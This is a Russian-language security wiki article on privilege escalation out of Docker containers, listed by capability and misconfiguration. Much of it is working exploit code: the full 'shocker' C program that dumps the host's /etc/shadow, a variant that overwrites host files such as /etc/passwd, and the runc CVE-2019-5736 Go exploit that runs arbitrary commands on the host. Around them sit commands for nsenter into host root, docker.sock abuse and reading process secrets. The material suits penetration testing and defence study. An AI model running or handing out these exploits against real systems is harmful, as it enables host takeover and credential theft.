Docker escape

Материал из InformationSecurity WIKI
Перейти к: навигация, поиск


Статья посвящена повышению привилегий из докер-контейнера в зависимости от предоставленного доступа.


SSRF

Доступ, когда можно только делать запросы по различным протоколам.

Суть в том, что в случае с SSRF можно делать запросы кроме файлов еще и на сторонние сервисы. Эти сервисы как правило запущены не в том же контейнере, а на соседнем с виртуальной сетью (это быстро настраивается с docker-compose).

Это повышение привелегий горизонтальное, но позволяет перейти на другой контейнер

Local file reading

Доступ, когда можно только читать локальные файлы контейнера.

kubernetes

Remote code execution

Capabilities

Получить список возможных capabilities:

capsh --print


Описание capabilities

Или сложнее:

cat /proc/self/status | grep Cap

Пример вывода:

CapInh: 0000000000000000
CapPrm: 0000003fffffffff
CapEff: 0000003fffffffff
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000

Чтобы декодировать:

capsh --decode=0000003fffffffff
0x0000003fffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,37

Тестовая инфраструктура для произвольной capability:

sudo docker run --cap-add название_capability -it ubuntu /bin/bash
apt update
apt-get install libcap2-bin gdb
capsh --print

CAP_SYS_ADMIN

Эта capability позволяет получить максимальные права. В своем роде alias на другие.

Позволяет зарегистрировать usermode-приложение которое запустится в контексте ядра.


CAP_SYS_PTRACE + host pid

Эксплуатация возможна только, если есть параметр --pid=host при запуске контейнера (позволяет работать с хостовыми процессами).

Тестовая инфраструктура:

sudo docker run --cap-add CAP_SYS_PTRACE --pid=host -it ubuntu /bin/bash
apt update
apt-get install libcap2-bin gdb
capsh --print


Далее по инструкции тут https://blog.pentesteracademy.com/privilege-escalation-by-abusing-sys-ptrace-linux-capability-f6e6ad2a59cc

Кратко: 1. Ищем нужный хостовой процесс (скорее всего рутовый) 2. Запускаем gdb -p PID 3. Встраиваем инструкции (шеллкод) 4. Запускаем инструкции

CAP_SYS_MODULE

Позволяет модифицировать ядро.

Тестовая инфраструктура:

sudo docker run --cap-add CAP_SYS_MODULE -it ubuntu /bin/bash
apt update
apt-get install libcap2-bin gdb
capsh --print


Инструкция по написанию модуля ядра https://blog.pentesteracademy.com/abusing-sys-module-capability-to-perform-docker-container-breakout-cf5c29956edd

DAC_READ_SEARCH

Позволяет прочитать содержимое файлов хостовой системы.

Тестовая инфраструктура:

sudo docker run --cap-add DAC_READ_SEARCH -it ubuntu /bin/bash
apt update
apt-get install libcap2-bin gdb
capsh --print

Инструкция по эксплуатации https://book.hacktricks.xyz/linux-unix/privilege-escalation/linux-capabilities#cap_dac_read_search


Чтение хостового файла

cd /tmp
apt update
apt install gcc wget nano
wget http://stealth.openwall.net/xSports/shocker.c

# Получаете список mount и ищите файлы, которы примонтированы из хостовой системы. Как правило это .dockerinit, /etc/resolv.conf, /etc/hosts, /etc/hostname .
mount 


# заменяете в файле shocker.c путь .dockerinit на найденный вами путь
# и заменяем /etc/shadow на файл который хотите прочитать
nano shocker.c

# компиляция
gcc shocker.c

# чтение файла
./a.out

Содержимое файла shocker.c:

/* shocker: docker PoC VMM-container breakout (C) 2014 Sebastian Krahmer
 *
 * Demonstrates that any given docker image someone is asking
 * you to run in your docker setup can access ANY file on your host,
 * e.g. dumping hosts /etc/shadow or other sensitive info, compromising
 * security of the host and any other docker VM's on it.
 *
 * docker using container based VMM: Sebarate pid and net namespace,
 * stripped caps and RO bind mounts into container's /. However
 * as its only a bind-mount the fs struct from the task is shared
 * with the host which allows to open files by file handles
 * (open_by_handle_at()). As we thankfully have dac_override and
 * dac_read_search we can do this. The handle is usually a 64bit
 * string with 32bit inodenumber inside (tested with ext4).
 * Inode of / is always 2, so we have a starting point to walk
 * the FS path and brute force the remaining 32bit until we find the
 * desired file (It's probably easier, depending on the fhandle export
 * function used for the FS in question: it could be a parent inode# or
 * the inode generation which can be obtained via an ioctl).
 * [In practise the remaining 32bit are all 0 :]
 *
 * tested with docker 0.11 busybox demo image on a 3.11 kernel:
 *
 * docker run -i busybox sh
 *
 * seems to run any program inside VMM with UID 0 (some caps stripped); if
 * user argument is given, the provided docker image still
 * could contain +s binaries, just as demo busybox image does.
 *
 * PS: You should also seccomp kexec() syscall :)
 * PPS: Might affect other container based compartments too
 *
 * $ cc -Wall -std=c99 -O2 shocker.c -static
 */

#define _GNU_SOURCE
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <dirent.h>
#include <stdint.h>


struct my_file_handle {
	unsigned int handle_bytes;
	int handle_type;
	unsigned char f_handle[8];
};



void die(const char *msg)
{
	perror(msg);
	exit(errno);
}


void dump_handle(const struct my_file_handle *h)
{
	fprintf(stderr,"[*] #=%d, %d, char nh[] = {", h->handle_bytes,
	        h->handle_type);
	for (int i = 0; i < h->handle_bytes; ++i) {
		fprintf(stderr,"0x%02x", h->f_handle[i]);
		if ((i + 1) % 20 == 0)
			fprintf(stderr,"\n");
		if (i < h->handle_bytes - 1)
			fprintf(stderr,", ");
	}
	fprintf(stderr,"};\n");
}


int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle *oh)
{
	int fd;
	uint32_t ino = 0;
	struct my_file_handle outh = {
		.handle_bytes = 8,
		.handle_type = 1
	};
	DIR *dir = NULL;
	struct dirent *de = NULL;

	path = strchr(path, '/');

	// recursion stops if path has been resolved
	if (!path) {
		memcpy(oh->f_handle, ih->f_handle, sizeof(oh->f_handle));
		oh->handle_type = 1;
		oh->handle_bytes = 8;
		return 1;
	}
	++path;
	fprintf(stderr, "[*] Resolving '%s'\n", path);

	if ((fd = open_by_handle_at(bfd, (struct file_handle *)ih, O_RDONLY)) < 0)
		die("[-] open_by_handle_at");

	if ((dir = fdopendir(fd)) == NULL)
		die("[-] fdopendir");

	for (;;) {
		de = readdir(dir);
		if (!de)
			break;
		fprintf(stderr, "[*] Found %s\n", de->d_name);
		if (strncmp(de->d_name, path, strlen(de->d_name)) == 0) {
			fprintf(stderr, "[+] Match: %s ino=%d\n", de->d_name, (int)de->d_ino);
			ino = de->d_ino;
			break;
		}
	}

	fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n");


	if (de) {
		for (uint32_t i = 0; i < 0xffffffff; ++i) {
			outh.handle_bytes = 8;
			outh.handle_type = 1;
			memcpy(outh.f_handle, &ino, sizeof(ino));
			memcpy(outh.f_handle + 4, &i, sizeof(i));

			if ((i % (1<<20)) == 0)
				fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de->d_name, i);
			if (open_by_handle_at(bfd, (struct file_handle *)&outh, 0) > 0) {
				closedir(dir);
				close(fd);
				dump_handle(&outh);
				return find_handle(bfd, path, &outh, oh);
			}
		}
	}

	closedir(dir);
	close(fd);
	return 0;
}


int main()
{
	char buf[0x1000];
	int fd1, fd2;
	struct my_file_handle h;
	struct my_file_handle root_h = {
		.handle_bytes = 8,
		.handle_type = 1,
		.f_handle = {0x02, 0, 0, 0, 0, 0, 0, 0}
	};

	fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014             [***]\n"
	       "[***] The tea from the 90's kicks your sekurity again.     [***]\n"
	       "[***] If you have pending sec consulting, I'll happily     [***]\n"
	       "[***] forward to my friends who drink secury-tea too!      [***]\n\n<enter>\n");

	read(0, buf, 1);

	// get a FS reference from something mounted in from outside
	if ((fd1 = open("/.dockerinit", O_RDONLY)) < 0)
		die("[-] open");

	if (find_handle(fd1, "/etc/shadow", &root_h, &h) <= 0)
		die("[-] Cannot find valid handle!");

	fprintf(stderr, "[!] Got a final handle!\n");
	dump_handle(&h);

	if ((fd2 = open_by_handle_at(fd1, (struct file_handle *)&h, O_RDONLY)) < 0)
		die("[-] open_by_handle");

	memset(buf, 0, sizeof(buf));
	if (read(fd2, buf, sizeof(buf) - 1) < 0)
		die("[-] read");

	fprintf(stderr, "[!] Win! /etc/shadow output follows:\n%s\n", buf);

	close(fd2); close(fd1);

	return 0;
}


DAC_OVERRIDE

Позволяет прочитать содержимое файлов хостовой системы.

Тестовая инфраструктура:

sudo docker run --cap-add DAC_OVERRIDE -it ubuntu /bin/bash
apt update
apt-get install libcap2-bin gdb
capsh --print

Запись хостового файла

Инструкция альтернативная DAC_READ_SEARCH, но запускать надо так ./a.out <путь_хостового_файла> <путь_докер_файла>

Хостовой файл будет перезаписан докер-файлом.

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <dirent.h>
#include <stdint.h>

// gcc shocker_write.c -o shocker_write
// ./shocker_write /etc/passwd passwd 

struct my_file_handle {
  unsigned int handle_bytes;
  int handle_type;
  unsigned char f_handle[8];
};
void die(const char * msg) {
  perror(msg);
  exit(errno);
}
void dump_handle(const struct my_file_handle * h) {
  fprintf(stderr, "[*] #=%d, %d, char nh[] = {", h -> handle_bytes,
    h -> handle_type);
  for (int i = 0; i < h -> handle_bytes; ++i) {
    fprintf(stderr, "0x%02x", h -> f_handle[i]);
    if ((i + 1) % 20 == 0)
      fprintf(stderr, "\n");
    if (i < h -> handle_bytes - 1)
      fprintf(stderr, ", ");
  }
  fprintf(stderr, "};\n");
} 
int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle *oh)
{
  int fd;
  uint32_t ino = 0;
  struct my_file_handle outh = {
    .handle_bytes = 8,
    .handle_type = 1
  };
  DIR * dir = NULL;
  struct dirent * de = NULL;
  path = strchr(path, '/');
  // recursion stops if path has been resolved
  if (!path) {
    memcpy(oh -> f_handle, ih -> f_handle, sizeof(oh -> f_handle));
    oh -> handle_type = 1;
    oh -> handle_bytes = 8;
    return 1;
  }
  ++path;
  fprintf(stderr, "[*] Resolving '%s'\n", path);
  if ((fd = open_by_handle_at(bfd, (struct file_handle * ) ih, O_RDONLY)) < 0)
    die("[-] open_by_handle_at");
  if ((dir = fdopendir(fd)) == NULL)
    die("[-] fdopendir");
  for (;;) {
    de = readdir(dir);
    if (!de)
      break;
    fprintf(stderr, "[*] Found %s\n", de -> d_name);
    if (strncmp(de -> d_name, path, strlen(de -> d_name)) == 0) {
      fprintf(stderr, "[+] Match: %s ino=%d\n", de -> d_name, (int) de -> d_ino);
      ino = de -> d_ino;
      break;
    }
  }
  fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n");
  if (de) {
    for (uint32_t i = 0; i < 0xffffffff; ++i) {
      outh.handle_bytes = 8;
      outh.handle_type = 1;
      memcpy(outh.f_handle, & ino, sizeof(ino));
      memcpy(outh.f_handle + 4, & i, sizeof(i));
      if ((i % (1 << 20)) == 0)
        fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de -> d_name, i);
      if (open_by_handle_at(bfd, (struct file_handle * ) & outh, 0) > 0) {
        closedir(dir);
        close(fd);
        dump_handle( & outh);
        return find_handle(bfd, path, & outh, oh);
      }
    }
  }
  closedir(dir);
  close(fd);
  return 0;
}
int main(int argc, char * argv[]) {
  char buf[0x1000];
  int fd1, fd2;
  struct my_file_handle h;
  struct my_file_handle root_h = {
    .handle_bytes = 8,
    .handle_type = 1,
    .f_handle = {
      0x02,
      0,
      0,
      0,
      0,
      0,
      0,
      0
    }
  };
  fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n"
    "[***] The tea from the 90's kicks your sekurity again. [***]\n"
    "[***] If you have pending sec consulting, I'll happily [***]\n"
    "[***] forward to my friends who drink secury-tea too! [***]\n\n<enter>\n");
  read(0, buf, 1);
  // get a FS reference from something mounted in from outside
  if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0)
    die("[-] open");
  if (find_handle(fd1, argv[1], & root_h, & h) <= 0)
    die("[-] Cannot find valid handle!");
  fprintf(stderr, "[!] Got a final handle!\n");
  dump_handle( & h);
  if ((fd2 = open_by_handle_at(fd1, (struct file_handle * ) & h, O_RDWR)) < 0)
    die("[-] open_by_handle");
  char * line = NULL;
  size_t len = 0;
  FILE * fptr;
  ssize_t read;
  fptr = fopen(argv[2], "r");
  while ((read = getline( & line, & len, fptr)) != -1) {
    write(fd2, line, read);
  }
  printf("Success!!\n");
  close(fd2);
  close(fd1);
  return 0;
}

CAP_SYS_RAWIO

CAP_SYSLOG

CAP_NET_RAW

Возможность отправлять низкоуровневые пакеты.

Скорее всего применимо только для MITM-атак, в следствие которых возможно повышение привилегий на других серверах.

Требуется проброшенный интерфейс хостовой машины, иначе атаки придется проводить на NAT докер контейнеров.

CAP_NET_ADMIN

Аналогично CAP_NET_RAW

CVE

Общий список CVE - https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list

Runc exploit (CVE-2019-5736)

Уязвимые версии: <=1.0-rc6

Техника перезаписывает /bin/sh хостовой системы, поэтому любой кто запустит docker exec, стриггерит нашу полезную нагрузку.

Ссылка на эксплоит https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go :

package main

// Implementation of CVE-2019-5736
// Created with help from @singe, @_cablethief, and @feexd.
// This commit also helped a ton to understand the vuln
// https://github.com/lxc/lxc/commit/6400238d08cdf1ca20d49bafb85f4e224348bf9d
import (
	"fmt"
	"io/ioutil"
	"os"
	"strconv"
	"strings"
	"flag"
)


var shellCmd string

func init() {
	flag.StringVar(&shellCmd, "shell", "", "Execute arbitrary commands")
	flag.Parse()
}

func main() {
	// This is the line of shell commands that will execute on the host
	var payload = "#!/bin/bash \n" + shellCmd
	// First we overwrite /bin/sh with the /proc/self/exe interpreter path
	fd, err := os.Create("/bin/sh")
	if err != nil {
		fmt.Println(err)
		return
	}
	fmt.Fprintln(fd, "#!/proc/self/exe")
	err = fd.Close()
	if err != nil {
		fmt.Println(err)
		return
	}
	fmt.Println("[+] Overwritten /bin/sh successfully")

	// Loop through all processes to find one whose cmdline includes runcinit
	// This will be the process created by runc
	var found int
	for found == 0 {
		pids, err := ioutil.ReadDir("/proc")
		if err != nil {
			fmt.Println(err)
			return
		}
		for _, f := range pids {
			fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")
			fstring := string(fbytes)
			if strings.Contains(fstring, "runc") {
				fmt.Println("[+] Found the PID:", f.Name())
				found, err = strconv.Atoi(f.Name())
				if err != nil {
					fmt.Println(err)
					return
				}
			}
		}
	}

	// We will use the pid to get a file handle for runc on the host.
	var handleFd = -1
	for handleFd == -1 {
		// Note, you do not need to use the O_PATH flag for the exploit to work.
		handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY, 0777)
		if int(handle.Fd()) > 0 {
			handleFd = int(handle.Fd())
		}
	}
	fmt.Println("[+] Successfully got the file handle")

	// Now that we have the file handle, lets write to the runc binary and overwrite it
	// It will maintain it's executable flag
	for {
		writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC, 0700)
		if int(writeHandle.Fd()) > 0 {
			fmt.Println("[+] Successfully got write handle", writeHandle)
			fmt.Println("[+] The command executed is" + payload)
			writeHandle.Write([]byte(payload))
			return
		}
	}
}

Команда для сборки:

[+] Overwritten /bin/sh successfully

После запуска эксплоита ждите надпись

go build main.go

После появления надписи нужно чтобы на хостовой системе запустили следующую команду которая стриггерит вашу полезную нагрузку:

docker exec -it <container-name> /bin/sh

Runc exploit (CVE-2021-30465)

Sockets

Docker Sockets

Суть в том, что при некорректной настройке docker socket может быть доступен из контейнера.

Это позволяет выполнять стандартные docker команды на хостовой системе.

find / -name docker.sock 2>/dev/null
# Как правило будет /run/docker.sock

Если docker.sock будет лежать по адресу /var/run/docker.sock то можно использовать стандартную команду docker.

Иначе потребуется использовать команду

docker -H unix:///path/to/docker.sock ...

Другой вариант - через http запросы:

curl -s --unix-socket /var/run/docker.sock http:/containers/json

или через TCP-socket

curl -s http://<host>:<port>/containers/json

Другие команды по работе с docker socket можно найти тут https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket

rktlet socket

unix:///var/run/rktlet.sock


frakti socket

unix:///var/run/frakti.sock


cri-o socket

unix:///var/run/crio/crio.sock


containerd socket

unix:///run/containerd/containerd.sock


dockershim socket

unix:///var/run/dockershim.sock


Privileged container

Примонтированные директории

В зависимости от того, какая директория примонтирована, можно работать с файловой системой хоста.

Зависит от фантазии хакера. Может быть доступ например к /etc/ или к /root/.

hostPID

Позволяет получить доступ к процессам директории /proc/

Что там может быть интересного:

1. Файловые дескрипторы открытых файлов - чекать все /proc/*/fd файлы, можно их прочитать 2. Секреты в env - /proc/*/environ 3. Убивать процессы и вызывать DoS 4. Под вопросом - читать память процессов например sshd и сниффать пароли (например утилитой 3snake).


privileged

Частный случай, когда контейнер является привилегированным.

Тогда достаточно заюзать следующую команду и перейти в рута хоста:

nsenter --target 1 --mount --uts --ipc --net --pid -- bash

hostNetwork

Позволяет взаимодействовать с сетью хоста.

Например, прослушивать трафик или MITM-атаки проводить.

Для этого достаточно юзать например tcpdump -i eth0

Примеры атак:

- https://blog.champtar.fr/Metadata_MITM_root_EKS_GKE/

- https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/


hostIPC

Inter-Process Communication Mechanisms

Позволяет работать с каналами передачи между процессами.

Примеров мало, но советуют следующее:

1. Проверить /dev/shm/ на наличие общих ресурсов памяти по которым идет общение

2. Проверить IPC-facilities используя команду "ipcs -a"

Ссылки